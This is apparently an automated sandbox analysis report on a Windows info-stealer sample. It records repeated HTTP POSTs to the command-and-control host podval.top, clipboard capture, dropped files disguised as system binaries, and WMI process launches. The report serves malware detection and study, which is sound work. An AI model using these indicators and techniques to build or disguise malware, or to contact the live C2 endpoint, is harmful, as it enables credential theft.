Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1780Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1736Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1780Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1748Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1780Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1780Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1780Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1780Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 174868Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: podval.top

Source: unknown

HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: upfc.exe, 00000011.00000002.2485222023.000000000368E000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.0000000003348000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.0000000003076000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.00000000034FF000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.000000000378E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://podval.top
Source: upfc.exe, 00000011.00000002.2485222023.0000000003076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://podval.top/
Source: upfc.exe, 00000011.00000002.2485222023.000000000368E000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.0000000003348000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.0000000003076000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.00000000034FF000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.000000000378E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://podval.top/LineToPythonJsLowupdateLongpollWindowsFlower.php
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000002.1298963270.00000000030A6000.00000004.00000800.00020000.00000000.sdmp, 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000002.1298963270.0000000002A8C000.00000004.00000800.00020000.00000000.sdmp, upfc.exe, 00000011.00000002.2485222023.0000000003076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: upfc.exe, 00000011.00000002.2507201386.0000000013453000.00000004.00000800.00020000.00000000.sdmp, RQxNQiaB3w.17.dr, Ld3wQv6XcO.17.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Creates a window with clipboard capturing capabilities

Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe

Window created: window name: CLIPBRDWNDCLASS

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\b83e72d5c7bd2d	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSC9D0BE8EB87641DFA2B4851BB05AFB2.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1790D78	0_2_00007FF7C1790D78
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8A520	0_2_00007FF7C1B8A520
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B87C68	0_2_00007FF7C1B87C68
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1790D78	17_2_00007FF7C1790D78
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8B1B5	17_2_00007FF7C1B8B1B5
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B87C68	17_2_00007FF7C1B87C68
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 18_2_00007FF7C17CCDC8	18_2_00007FF7C17CCDC8
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 18_2_00007FF7C1790D78	18_2_00007FF7C1790D78
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 38_2_00007FF7C17CCDC8	38_2_00007FF7C17CCDC8
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 38_2_00007FF7C1790D78	38_2_00007FF7C1790D78
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 39_2_00007FF7C1780D78	39_2_00007FF7C1780D78
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Code function: 40_2_00007FF7C1770D78	40_2_00007FF7C1770D78
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Code function: 41_2_00007FF7C17DCDC8	41_2_00007FF7C17DCDC8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Code function: 41_2_00007FF7C17A0D78	41_2_00007FF7C17A0D78
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Code function: 42_2_00007FF7C17B0D78	42_2_00007FF7C17B0D78
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Code function: 43_2_00007FF7C17A0D78	43_2_00007FF7C17A0D78

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000000.1240865306.0000000000586000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000002.1312234692.000000001B8FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000026.00000002.1429420020.00000000032B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000027.00000002.1441556260.00000000029DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000027.00000002.1441556260.00000000029D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000027.00000002.1441556260.0000000002A8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: StartMenuExperienceHost.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: llflCdrMcgGB.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: upfc.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: upfc.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, wdL8CMv6YqRVim2kl7S.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, wdL8CMv6YqRVim2kl7S.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, wdL8CMv6YqRVim2kl7S.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, wdL8CMv6YqRVim2kl7S.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-KBzVK5gMd7NT4ldKjHn2

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
